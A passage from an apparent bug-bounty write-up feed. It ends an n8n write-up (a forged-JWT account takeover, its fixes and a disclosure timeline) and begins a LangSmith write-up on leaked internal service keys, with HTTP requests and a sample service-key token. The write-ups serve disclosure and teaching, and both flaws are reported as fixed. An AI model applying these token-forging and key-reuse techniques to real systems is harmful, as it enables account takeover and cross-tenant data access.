<span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">JWT TOKEN:"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">token</span><span class="p">)</span>
</code></pre></div></div>

<p>Usage:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 jwt_sign.py <span class="se">\ </span>                                           
  <span class="nt">--jwt-secret</span> <span class="s1">'&lt;jwt_secret&gt;'</span> <span class="se">\</span>
  <span class="nt">--jwt-expiration</span> <span class="s1">'1h'</span> <span class="se">\</span>
  <span class="nt">--id</span> <span class="s1">'&lt;userId&gt;'</span> <span class="se">\</span>
  <span class="nt">--email</span> <span class="s1">'&lt;userEmail&gt;'</span> <span class="se">\</span>
  <span class="nt">--password</span> <span class="s1">'&lt;bcrypt encrypted password&gt;'</span> <span class="se">\</span>
  <span class="nt">--mfa-enabled</span> <span class="se">\</span>
  <span class="nt">--mfa-secret</span> <span class="s1">'&lt;mfa secret&gt;'</span> <span class="se">\</span>
  <span class="nt">--used-mfa</span> <span class="se">\</span>
  <span class="nt">--browser-id</span> <span class="s1">'&lt;browserId&gt;'</span>
</code></pre></div></div>

<p>By providing the forged JWT and the corresponding browserId in requests to n8n, we are connected as the victim. The owner account can be took over, giving full access to the whole instance.</p>

<h1 id="remediation">Remediation</h1>
<h2 id="first-fix-attempt">First fix attempt</h2>
<p>n8n development team quickly made a fix by resolving the path before calling createReadStream and preventing any potential symlinks from being followed inside the function:</p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="kd">function</span> <span class="nx">resolvePath</span><span class="p">(</span><span class="nx">path</span><span class="p">:</span> <span class="nx">PathLike</span><span class="p">):</span> <span class="nb">Promise</span><span class="o">&lt;</span><span class="nx">ResolvedFilePath</span><span class="o">&gt;</span> <span class="p">{</span>
	<span class="k">try</span> <span class="p">{</span>
		<span class="k">return</span> <span class="p">(</span><span class="k">await</span> <span class="nx">fsRealpath</span><span class="p">(</span><span class="nx">path</span><span class="p">))</span> <span class="k">as</span> <span class="nx">ResolvedFilePath</span><span class="p">;</span> <span class="c1">// apply brand, since we know it's resolved now</span>
	<span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="na">error</span><span class="p">:</span> <span class="nx">unknown</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="nx">error</span> <span class="k">instanceof</span> <span class="nb">Error</span> <span class="o">&amp;&amp;</span> <span class="dl">'</span><span class="s1">code</span><span class="dl">'</span> <span class="k">in</span> <span class="nx">error</span> <span class="o">&amp;&amp;</span> <span class="nx">error</span><span class="p">.</span><span class="nx">code</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">ENOENT</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span>
			<span class="k">return</span> <span class="nx">resolve</span><span class="p">(</span><span class="nx">path</span><span class="p">.</span><span class="nx">toString</span><span class="p">())</span> <span class="k">as</span> <span class="nx">ResolvedFilePath</span><span class="p">;</span> <span class="c1">// apply brand, since we know it's resolved now</span>
		<span class="p">}</span>
		<span class="k">throw</span> <span class="nx">error</span><span class="p">;</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Use O_NOFOLLOW to prevent createReadStream from following symlinks. We require that the path</span>
		<span class="c1">// already be resolved beforehand.</span>
		<span class="kd">const</span> <span class="nx">stream</span> <span class="o">=</span> <span class="nx">createReadStream</span><span class="p">(</span><span class="nx">resolvedFilePath</span><span class="p">,</span> <span class="p">{</span>
			<span class="na">flags</span><span class="p">:</span> <span class="p">(</span><span class="nx">constants</span><span class="p">.</span><span class="nx">O_RDONLY</span> <span class="o">|</span> <span class="nx">constants</span><span class="p">.</span><span class="nx">O_NOFOLLOW</span><span class="p">)</span> <span class="k">as</span> <span class="nx">unknown</span> <span class="k">as</span> <span class="kr">string</span><span class="p">,</span>
		<span class="p">});</span>
</code></pre></div></div>

<p>However, my exploit still worked as it was and Account Take Over was still possible.
I didn’t dive very deep into why it was not working, so feel free to correct me if you think I am wrong, but I think it is because of 2 things:</p>
<ul>
  <li>First, the fallback to resolve function if fsRealPath fails means we can still put unresolved symlink in resolvedFilePath.</li>
  <li>Moreover, the O_NOFOLLOW flag prevents following symlinks ONLY if the symlink is at the end of the filepath, which is not the case in our POC (/home/node/n8n_ATO/pwn/config -&gt; config is not a symlink). See <a href="https://nodejs.org/api/fs.html#file-system-flags:~:text=flag%20can%20also%20be%20a%20number%20as%20documented%20by%20open(2)">NodeJS doc</a> that references <a href="https://man7.org/linux/man-pages/man2/open.2.html#:~:text=not%20have%20one.-,O_NOFOLLOW,-If%20the%20trailing">man Open(2)</a>.</li>
</ul>

<h2 id="working-fix">Working fix</h2>
<p>The second fix is more robust. It introduces 2 security layers:</p>
<ul>
  <li>The path resolution is now split in half, between the dirname (here /home/node/n8n_ATO/pwn/) and the basename (here config). Only fsRealPath is used to resolve the dirname, so no symlink is left. Then, O_NOFOLLOW is used to open the file to prevent any symlink in the basename to be followed.</li>
</ul>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="kd">function</span> <span class="nx">resolvePath</span><span class="p">(</span><span class="nx">path</span><span class="p">:</span> <span class="nx">PathLike</span><span class="p">):</span> <span class="nb">Promise</span><span class="o">&lt;</span><span class="nx">ResolvedFilePath</span><span class="o">&gt;</span> <span class="p">{</span>
	<span class="kd">const</span> <span class="nx">pathStr</span> <span class="o">=</span> <span class="nx">path</span><span class="p">.</span><span class="nx">toString</span><span class="p">();</span>

	<span class="k">try</span> <span class="p">{</span>
		<span class="k">return</span> <span class="p">(</span><span class="k">await</span> <span class="nx">fsRealpath</span><span class="p">(</span><span class="nx">pathStr</span><span class="p">))</span> <span class="k">as</span> <span class="nx">ResolvedFilePath</span><span class="p">;</span> <span class="c1">// apply brand, since we know it's resolved now</span>
	<span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="na">error</span><span class="p">:</span> <span class="nx">unknown</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="nx">error</span> <span class="k">instanceof</span> <span class="nb">Error</span> <span class="o">&amp;&amp;</span> <span class="dl">'</span><span class="s1">code</span><span class="dl">'</span> <span class="k">in</span> <span class="nx">error</span> <span class="o">&amp;&amp;</span> <span class="nx">error</span><span class="p">.</span><span class="nx">code</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">ENOENT</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span>
			<span class="c1">// File doesn't exist - resolve the parent directory and append filename</span>
			<span class="kd">const</span> <span class="nx">dir</span> <span class="o">=</span> <span class="nx">dirname</span><span class="p">(</span><span class="nx">pathStr</span><span class="p">);</span>
			<span class="kd">const</span> <span class="nx">file</span> <span class="o">=</span> <span class="nx">basename</span><span class="p">(</span><span class="nx">pathStr</span><span class="p">);</span>
			<span class="kd">const</span> <span class="nx">resolvedDir</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">fsRealpath</span><span class="p">(</span><span class="nx">dir</span><span class="p">);</span>
			<span class="k">return</span> <span class="nx">join</span><span class="p">(</span><span class="nx">resolvedDir</span><span class="p">,</span> <span class="nx">file</span><span class="p">)</span> <span class="k">as</span> <span class="nx">ResolvedFilePath</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="k">throw</span> <span class="nx">error</span><span class="p">;</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<ul>
  <li>Device and inode number of the path is checked at the beginning and at the end of the function, against the resolved path. This ensures the same file is checked and read.</li>
</ul>

<h1 id="conclusion">Conclusion</h1>
<h2 id="impact">Impact</h2>
<p>As explained in the introduction, n8n is typically intregated with multiple tools, meaning it stores API keys and credentials. By taking over the owner account, we can access and exploit any of these credentials. We can also modify / delete any workflow.</p>

<p>Even if a company using n8n with critical tools applies least privilege principle, with multiple low privilege accounts for different tasks, a single account compromised means the whole instance is compromised too.</p>

<p>However, a valid account is needed, which reduce the risk of this vulnerability being exploited in the wild. The authenticated nature of this vulnerability limit the practical risk to instances where users are trusted.</p>

<h2 id="patch">Patch</h2>
<p>Quoting the advisory:</p>

<p>The issue has been fixed in n8n version 1.123.18 and 2.5.0. Users should upgrade to this version or later to remediate the vulnerability.</p>

<p>If upgrading is not immediately possible, administrators should consider the following temporary mitigations:</p>

<ul>
  <li>Limit workflow creation and editing permissions to fully trusted users only.</li>
  <li>Restrict access to nodes that interact with the file system, particularly the “Read/Write Files from Disk” and “Git” nodes.
These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.</li>
</ul>

<h1 id="thanks">Thanks</h1>
<p>I would like to strongly thank n8n security and dev teams, who responded quickly and with transparency. They provided regular updates on fix development, and the overall disclosure went smooth.</p>

<h1 id="timeline">Timeline</h1>
<ul>
  <li>Nov 22, 2025: Vulnerability reported.</li>
  <li>Nov 24, 2025: Report acknowledged.</li>
  <li>Dec 2, 2025: Vulnerability confirmed.</li>
  <li>Dec 18, 2025: First fix released.</li>
  <li>Dec 18, 2025: Bypass of fix reported.</li>
  <li>Jan 13, 2026: Second fix released.</li>
  <li>Jan 14, 2026: Fix confirmed.</li>
  <li>Feb 4, 2026: Security advisory published and bounty awarded.</li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>Chaining service key leakage and path confusion in LangSmith (Resolved)</title>
      <link>https://lab.ctbb.show/writeups/chaining-service-key-leakage-and-path-confusion-in-langsmith</link>
      <guid isPermaLink="true">https://lab.ctbb.show/writeups/chaining-service-key-leakage-and-path-confusion-in-langsmith</guid>
      <pubDate>Mon, 16 Mar 2026 00:00:00 +0000</pubDate>
      <author>Vladislav Nechakhin</author>
      <description>Unauthorised access across LangSmith agent deployments and path normalisation differences between Nginx and GCP LB</description>
      <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>

<p>This post continues my exploration of LangSmith, which began with a high-level overview of the service and a detailed analysis of the LangSmith Playground described in my <a href="https://lab.ctbb.show/research/langsmith-unsafe-formatting-to-rce">first post</a>. Following this research, I shifted my focus to the service architecture to better understand the key components, their responsibilities, and interconnection between them.</p>

<h2 id="tldr">TL;DR</h2>

<p>This post describes a vulnerability in LangSmith that could allow unauthorised access across agent deployments. The attack chain combined two weaknesses: (1) the Agent API leaked a service keys in a response, and (2) routing restrictions to sensitive internal API endpoints could be bypassed using <code class="language-plaintext highlighter-rouge">%2F</code> in the request path due to a path normalisation inconsistency between the GCP load balancer and FastAPI. The vulnerability provided read and write access to agent deployments across any workspaces, including access to credentials for third-party services.</p>

<p>Note: This research details a vulnerability that was responsibly disclosed to the LangChain team and fully remediated within hours of the initial report. The fix includes blocking <code class="language-plaintext highlighter-rouge">%2F</code> on the WAF, removing service keys from API responses, and tightening authorisation defaults. LangChain has confirmed there is no evidence of this issue being exploited in the wild. This write-up is being shared strictly for educational purposes to highlight the technical nuances of path normalization mismatches and privilege scoping in modern cloud environments.</p>

<h2 id="langsmith-architecture">LangSmith architecture</h2>

<p>I started my exploration of the service architecture from two main sources: <a href="https://docs.langchain.com/langsmith/home">LangSmith documentation</a> and <a href="https://hub.docker.com/u/langchain">Docker images for Self-hosted deployment</a>. The documentation <a href="https://docs.langchain.com/langsmith/cloud">provides</a> an architectural diagram depicting key components and data flows.</p>

<p><img src="/writeups/articles/WriteupNo0004/langsmith-cloud-arch.png" alt="LangSmith Architectural Diagram" /></p>

<p>The diagram shows two backends <code class="language-plaintext highlighter-rouge">Backend</code> and <code class="language-plaintext highlighter-rouge">Platform Backend</code> with access to the storage service, and “isolated” <code class="language-plaintext highlighter-rouge">Playground</code> and <code class="language-plaintext highlighter-rouge">ACE Backend</code>. I went to the Docker Hub and mapped each component to its corresponding image:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Frontend</code> -&gt; <a href="https://hub.docker.com/r/langchain/langsmith-frontend">langchain/langsmith-frontend</a></li>
  <li><code class="language-plaintext highlighter-rouge">Backend</code> -&gt; <a href="https://hub.docker.com/r/langchain/langsmith-backend">langchain/langsmith-backend</a></li>
  <li><code class="language-plaintext highlighter-rouge">Platform Backend</code> -&gt; <a href="https://hub.docker.com/r/langchain/langsmith-go-backend">langchain/langsmith-go-backend</a></li>
  <li><code class="language-plaintext highlighter-rouge">Playground</code> -&gt; <a href="https://hub.docker.com/r/langchain/langsmith-playground">langchain/langsmith-playground</a></li>
  <li><code class="language-plaintext highlighter-rouge">ACE Backend</code> -&gt; <a href="https://hub.docker.com/r/langchain/langsmith-ace-backend">langchain/langsmith-ace-backend</a></li>
</ul>

<p>However, I noticed that there was one more image <a href="https://hub.docker.com/r/langchain/hosted-langserve-backend">langchain/hosted-langserve-backend</a> not reflected in the diagram. All this led me to two questions:</p>

<ol>
  <li>Why are there two backends and what are their responsibilities?</li>
  <li>Is <code class="language-plaintext highlighter-rouge">langchain/hosted-langserve-backend</code> part of LangSmith and what is it used for?</li>
</ol>

<p>The answer to the first question was quickly found right in the <a href="https://docs.langchain.com/langsmith/self-hosted#services">documentation</a>:</p>

<p><img src="/writeups/articles/WriteupNo0004/langsmith-services-description.png" alt="LangSmith Services Description" /></p>

<p>Both <code class="language-plaintext highlighter-rouge">Backend</code> and <code class="language-plaintext highlighter-rouge">Platform Backend</code> implement the LangSmith API and share responsibilities to manage the workload. After pulling the Docker images, I found that <code class="language-plaintext highlighter-rouge">langchain/langsmith-backend</code> contains compiled Python code while <code class="language-plaintext highlighter-rouge">langchain/langsmith-go-backend</code> contains a binary compiled from Golang code. Apparently, LangSmith uses the Golang backend for the heaviest operations while the Python backend for relatively light CRUD operations.</p>

<p>To answer the second question, I explored the <code class="language-plaintext highlighter-rouge">langchain/hosted-langserve-backend</code> image in more detail. This image implements the so-called <code class="language-plaintext highlighter-rouge">Host Backend</code>, a FastAPI service that serves the <a href="https://api.host.langchain.com/docs">LangSmith Deployment Control Plane API</a>. <a href="https://docs.langchain.com/langsmith/deployments">LangSmith Deployment</a> is an infrastructure platform for deploying and managing agents and LangGraph applications. One interesting detail from the <a href="https://api.host.langchain.com/docs">API reference</a> was that it uses a different domain <code class="language-plaintext highlighter-rouge">api.host.langchain.com</code> than the LangSmith API <code class="language-plaintext highlighter-rouge">api.smith.langchain.com</code>.</p>

<h2 id="component-authentication">Component authentication</h2>

<p>With the architecture mapped out, I began reviewing endpoints in both the <code class="language-plaintext highlighter-rouge">Backend</code> and <code class="language-plaintext highlighter-rouge">Host Backend</code> components. While reviewing the code, I paid attention to the implementation of authentication and authorisation of requests. The following code example demonstrates the process:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">router</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"/foo/{foo_id}"</span><span class="p">)</span>
<span class="k">async</span> <span class="k">def</span> <span class="nf">foo_bar_endpoint</span><span class="p">(</span>
    <span class="n">foo_id</span><span class="p">:</span> <span class="n">UUID</span><span class="p">,</span>
    <span class="n">auth</span><span class="p">:</span> <span class="n">AuthInfo</span> <span class="o">=</span> <span class="n">Depends</span><span class="p">(</span><span class="n">Authorize</span><span class="p">(</span><span class="n">Permissions</span><span class="p">.</span><span class="n">FOO_READ</span><span class="p">)),</span>
<span class="p">)</span> <span class="o">-&gt;</span> <span class="n">FooResponse</span><span class="p">:</span>
    <span class="c1"># ...
</span></code></pre></div></div>

<p>Here, the FastAPI dependency injection is used to call an instance of the <code class="language-plaintext highlighter-rouge">Authorize</code> class that verifies an authentication token and checks if a user has the <code class="language-plaintext highlighter-rouge">Permissions.FOO_READ</code> permission. However, some internal endpoints used a slightly different approach. A few of them relied on <code class="language-plaintext highlighter-rouge">Authorize</code>, while others on the <code class="language-plaintext highlighter-rouge">x_service_authorize</code> function, but both expected a key from the <code class="language-plaintext highlighter-rouge">X-Service-Key</code> header for authentication:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">router_internal</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"/bar"</span><span class="p">,</span> <span class="n">response_model</span><span class="o">=</span><span class="n">BarResponse</span><span class="p">)</span>
<span class="k">async</span> <span class="k">def</span> <span class="nf">get_bar_endpoint</span><span class="p">(</span>
    <span class="n">auth</span><span class="p">:</span> <span class="n">AuthInfo</span> <span class="o">=</span> <span class="n">Depends</span><span class="p">(</span>
        <span class="n">Authorize</span><span class="p">(</span><span class="n">permission</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">allowed_services</span><span class="o">=</span><span class="p">[</span><span class="n">ServiceIdentity</span><span class="p">.</span><span class="n">UNSPECIFIED</span><span class="p">]),</span>
    <span class="p">)</span>
<span class="p">)</span> <span class="o">-&gt;</span> <span class="n">BarResponse</span><span class="p">:</span>
    <span class="c1"># ...
</span></code></pre></div></div>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">router_internal</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"/abc"</span><span class="p">,</span> <span class="n">dependencies</span><span class="o">=</span><span class="p">[</span><span class="n">Depends</span><span class="p">(</span><span class="n">x_service_authorize</span><span class="p">)])</span>
<span class="k">async</span> <span class="k">def</span> <span class="nf">get_abc_endpoint</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="n">AbcResponse</span><span class="p">:</span>
    <span class="c1"># ...
</span></code></pre></div></div>

<p>Initially, it wasn’t clear where or how <code class="language-plaintext highlighter-rouge">X-Service-Key</code> is generated and what it’s used for. Further review of <code class="language-plaintext highlighter-rouge">Authorize</code> and <code class="language-plaintext highlighter-rouge">x_service_authorize</code> revealed that all authentication mechanisms used the <code class="language-plaintext highlighter-rouge">platform_request(method, path, params, header, body, ...)</code> function to verify tokens. This function makes a request to the <code class="language-plaintext highlighter-rouge">Platform Backend</code> component, where the authentication logic is encapsulated. In the Python code, <code class="language-plaintext highlighter-rouge">platform_request</code> is used like this:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">res</span> <span class="o">=</span> <span class="k">await</span> <span class="n">platform_request</span><span class="p">(</span>
    <span class="s">"GET"</span><span class="p">,</span> <span class="s">"/auth"</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s">"X-Api-Key"</span><span class="p">:</span> <span class="n">x_api_key</span><span class="p">}</span>
<span class="p">)</span>
<span class="n">auth_dict</span> <span class="o">=</span> <span class="n">parse_response_body</span><span class="p">(</span><span class="n">res</span><span class="p">)</span>
<span class="k">if</span> <span class="n">permission</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">auth_dict</span><span class="p">[</span><span class="s">"identity_permissions"</span><span class="p">]:</span>
    <span class="k">raise</span> <span class="p">...</span>
</code></pre></div></div>

<p>In fact, it’s possible to hit that endpoint in <code class="language-plaintext highlighter-rouge">Platform Backend</code> from the Internet:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /auth HTTP/1.1
Host: api.smith.langchain.com
X-API-Key: &lt;API_KEY&gt;
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Content-Type: application/json

{
    "organization_id": "...",
    "organization_is_personal": true,
    // ...
}
</code></pre></div></div>

<p>Another interesting discovery was the <code class="language-plaintext highlighter-rouge">internal_platform_request</code> function that generates a JWT using <code class="language-plaintext highlighter-rouge">get_x_service_jwt_token(payload)</code> and sets it as <code class="language-plaintext highlighter-rouge">X-Service-Key</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="k">def</span> <span class="nf">internal_platform_request</span><span class="p">(</span>
    <span class="n">method</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span>
    <span class="n">path</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span>
    <span class="c1"># ...
</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">HTTPResponse</span><span class="p">:</span>
    <span class="c1"># ...
</span>    <span class="n">headers</span> <span class="o">=</span> <span class="p">{</span><span class="o">**</span><span class="n">headers</span><span class="p">,</span> <span class="s">"X-Service-Key"</span><span class="p">:</span> <span class="n">get_x_service_jwt_token</span><span class="p">(</span><span class="n">jwt_payload</span><span class="p">)}</span>
    <span class="c1"># ...
</span>    <span class="k">return</span> <span class="k">await</span> <span class="n">platform_request</span><span class="p">(</span>
        <span class="n">method</span><span class="p">,</span>
        <span class="n">path</span><span class="p">,</span>
        <span class="c1"># ...
</span>    <span class="p">)</span>
</code></pre></div></div>

<p>Review of <code class="language-plaintext highlighter-rouge">get_x_service_jwt_token</code> and code that relied on <code class="language-plaintext highlighter-rouge">internal_platform_request</code> confirmed that <code class="language-plaintext highlighter-rouge">X-Service-Key</code> is used for authentication between internal LangSmith components. For example, <code class="language-plaintext highlighter-rouge">Backend</code> can generate a service key and use it for authentication with <code class="language-plaintext highlighter-rouge">Platform Backend</code>. To generate service keys, internal components need access to a shared secret key used to sign JWTs with the HS256 algorithm.</p>

<p>A service key contains at least the <code class="language-plaintext highlighter-rouge">sub</code> (service name) and <code class="language-plaintext highlighter-rouge">exp</code> (expiration timestamp) claims. It can also include the <code class="language-plaintext highlighter-rouge">tenant_id</code>, <code class="language-plaintext highlighter-rouge">user_id</code>, and <code class="language-plaintext highlighter-rouge">organization_id</code> claims to scope the key to a specific tenant (workspace), user, and organisation. The <code class="language-plaintext highlighter-rouge">sub</code> claim is used within the authorisation flow when an endpoint restricts access to a set of services using <code class="language-plaintext highlighter-rouge">Authorize</code>, e.g. <code class="language-plaintext highlighter-rouge">Authorize(permission=None, allowed_services=[ServiceIdentity.FOO])</code> grants access only for service keys with <code class="language-plaintext highlighter-rouge">sub</code> set to the value of <code class="language-plaintext highlighter-rouge">ServiceIdentity.FOO</code>.</p>

<p>However, there is a special identity <code class="language-plaintext highlighter-rouge">ServiceIdentity.UNSPECIFIED</code> that is used to allow access for unscoped service keys with <code class="language-plaintext highlighter-rouge">sub</code> set to <code class="language-plaintext highlighter-rouge">unspecified</code>. Moreover, <code class="language-plaintext highlighter-rouge">Authorize</code> added <code class="language-plaintext highlighter-rouge">ServiceIdentity.UNSPECIFIED</code> to the <code class="language-plaintext highlighter-rouge">allowed_services</code> list and granted access to unscoped keys by default. In other words, setting <code class="language-plaintext highlighter-rouge">sub</code> to <code class="language-plaintext highlighter-rouge">unspecified</code> created a key with almost unlimited access, especially if no other claims were set.</p>

<p>This design appeared to present a significant security risk, if I could generate or leak a service key, I could potentially access internal endpoints and data of other users. I identified several potential attack vectors and began reviewing all locations where service keys were used.</p>

<p>One of my first targets was the internal library for making requests to <code class="language-plaintext highlighter-rouge">Platform Backend</code>. The idea was to find a way to redirect a request containing a service key to my server, either through URL manipulation or a loophole in the business logic. However, I found nothing exploitable. While there was a potential URL injection point, it was effectively mitigated. Additionally, all functionality involving service keys provided no opportunities to control URLs or trigger redirects. After extensive code review, I was unable to find any gadget that could leak a service key.</p>

<h2 id="exploring-langsmith-agent-builder">Exploring LangSmith Agent Builder</h2>

<p>Around that time, LangChain opened a public beta for <a href="https://docs.langchain.com/langsmith/agent-builder">LangSmith Agent Builder</a>, and I gained access to this feature. <code class="language-plaintext highlighter-rouge">Agent Builder</code> is a service built on LangGraph and deepagents for creating agents within LangSmith. This is a no-code agent builder where you can create handy agents for various use cases. When you create an agent, LangSmith hosts it in their cloud, giving you a fully working agent that can be tested directly from LangSmith. After creating my test agent, I started a chat and inspected the traffic in Caido. Eventually, I discovered the following request and response:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /threads/cbf2c4ea-e234-42f8-a7cb-1972b5994a68/state HTTP/1.1
Host: prod-agent-builder-f819397fc814a7682ca37d7c8932b2c3.langgraph.app
x-auth-scheme: langsmith-agent
Authorization: Bearer &lt;JWT&gt;
X-User-Id: &lt;User-ID&gt;
X-Tenant-Id: &lt;Tenant-ID&gt;
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 94968

{
    "values": {
        "messages": [
            // ...
        ],
        "tools": [
            // ...
        ],
        "triggers": [
            // ...
        ],
        "files": {
            // ...
        },
        "agent_memory": "..."
    },
    "next": ["model"],
    "tasks": [
        // ...
    ],
    "metadata": {
        // ...
        "langgraph_auth_user": {
            // ...
            "agent_builder_passthrough_headers": {
                "X-User-Id": "&lt;User-ID&gt;",
                "X-Tenant-Id": "&lt;Tenant-ID&gt;",
                "X-Service-Key": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1bnNwZWNpZmllZCIsImV4cCI6MTc2NDUzMTQyNCwidGVuYW50X2lkIjoiPFRlbmFudC1JRD4iLCJ1c2VyX2lkIjoiPFVzZXItSUQ-Iiwib3JnYW5pemF0aW9uX2lkIjoiPE9yZy1JRD4ifQ.jBSO-HLuCscmhEEd4sdbhtosaSmcIX3OTHn6i9susIo",
                "x-auth-scheme": "langsmith-agent"
            }
        },
        // ...
    },
    // ...
}
</code></pre></div></div>

<p>The response contained extensive data, including messages, available tools, files, etc. However, what caught my attention was the <code class="language-plaintext highlighter-rouge">metadata</code> because it contained <code class="language-plaintext highlighter-rouge">X-Service-Key</code> with the following payload:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{"sub":"unspecified","exp":1764531424,"tenant_id":"&lt;Tenant-ID&gt;","user_id":"&lt;User-ID&gt;","organization_id":"&lt;Org-ID&gt;"}
</code></pre></div></div>

<p>This was exactly what I had been searching for. The only thing that brought a bit of doubts was that the key was scoped for my user, tenant (workspace) and organisation. Nevertheless, I wanted to test what access it granted.</p>

<h2 id="access-api-endpoints-with-service-key">Access API endpoints with service key</h2>

<p>The first step was to validate that the key was valid and could be used with the LangSmith API. I sent a request to the previously discovered <code class="language-plaintext highlighter-rouge">/auth</code> endpoint, which is used internally for token validation:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /auth HTTP/1.1
Host: api.smith.langchain.com
X-Service-Key: &lt;JWT&gt;
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 4058

{
    "organization_id": "&lt;Org-ID&gt;",
    // ...
    "tenant_id": "&lt;Tenant-ID&gt;",
    // ...
    "service_identity": "unspecified"
}
</code></pre></div></div>

<p>The key was valid, but it wasn’t clear if I could override organisation or tenant IDs. I attempted to add <code class="language-plaintext highlighter-rouge">X-Tenant-ID</code> and <code class="language-plaintext highlighter-rouge">X-Organization-ID</code> headers, but <code class="language-plaintext highlighter-rouge">/auth</code> always returned IDs from the JWT. It appeared I couldn’t use this service key to access other users’ data and the reason lies in how LangSmith implemented CRUD operations. Let’s consider the following example:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">router</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"/foo/{foo_id}"</span><span class="p">,</span> <span class="n">response_model</span><span class="o">=</span><span class="n">FooResponse</span><span class="p">)</span>
<span class="k">async</span> <span class="k">def</span> <span class="nf">get_foo_endpoint</span><span class="p">(</span>
    <span class="n">foo_id</span><span class="p">:</span> <span class="n">UUID</span><span class="p">,</span>
    <span class="n">auth</span><span class="p">:</span> <span class="n">AuthInfo</span> <span class="o">=</span> <span class="n">Depends</span><span class="p">(</span><span class="n">Authorize</span><span class="p">(</span><span class="n">Permissions</span><span class="p">.</span><span class="n">FOO_READ</span><span class="p">)),</span>
<span class="p">)</span> <span class="o">-&gt;</span> <span class="n">FooResponse</span><span class="p">:</span>
    <span class="k">return</span> <span class="k">await</span> <span class="n">models</span><span class="p">.</span><span class="n">foo</span><span class="p">.</span><span class="n">get_foo</span><span class="p">(</span><span class="n">auth</span><span class="p">,</span> <span class="n">foo_id</span><span class="p">)</span>
</code></pre></div></div>

<p>This is an example of a GET endpoint that returns an object by its ID. The retrieval logic is encapsulated inside <code class="language-plaintext highlighter-rouge">models.foo.get_foo</code>, which accepts <code class="language-plaintext highlighter-rouge">auth</code> and <code class="language-plaintext highlighter-rouge">foo_id</code>. The <code class="language-plaintext highlighter-rouge">auth</code> parameter contains information returned by <code class="language-plaintext highlighter-rouge">GET /auth</code>, including tenant and organisation IDs. In this example, <code class="language-plaintext highlighter-rouge">models.foo.get_foo</code> extracts the tenant ID from <code class="language-plaintext highlighter-rouge">auth</code> and uses it to query the database. Therefore, there was no way to use the scoped service key to bypass this logic.</p>

<p>However, there was one more authentication method used for internal endpoints:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">router_internal</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"/abc"</span><span class="p">,</span> <span class="n">dependencies</span><span class="o">=</span><span class="p">[</span><span class="n">Depends</span><span class="p">(</span><span class="n">x_service_authorize</span><span class="p">)])</span>
<span class="k">async</span> <span class="k">def</span> <span class="nf">get_abc_endpoint</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="n">AbcResponse</span><span class="p">:</span>
    <span class="c1"># ...
</span></code></pre></div></div>

<p>These endpoints had no <code class="language-plaintext highlighter-rouge">auth</code> object or similar mechanism to enforce scoping. Searching for uses of <code class="language-plaintext highlighter-rouge">x_service_authorize</code>, I found several internal endpoints in <code class="language-plaintext highlighter-rouge">Host Backend</code>, like the following one:</p>

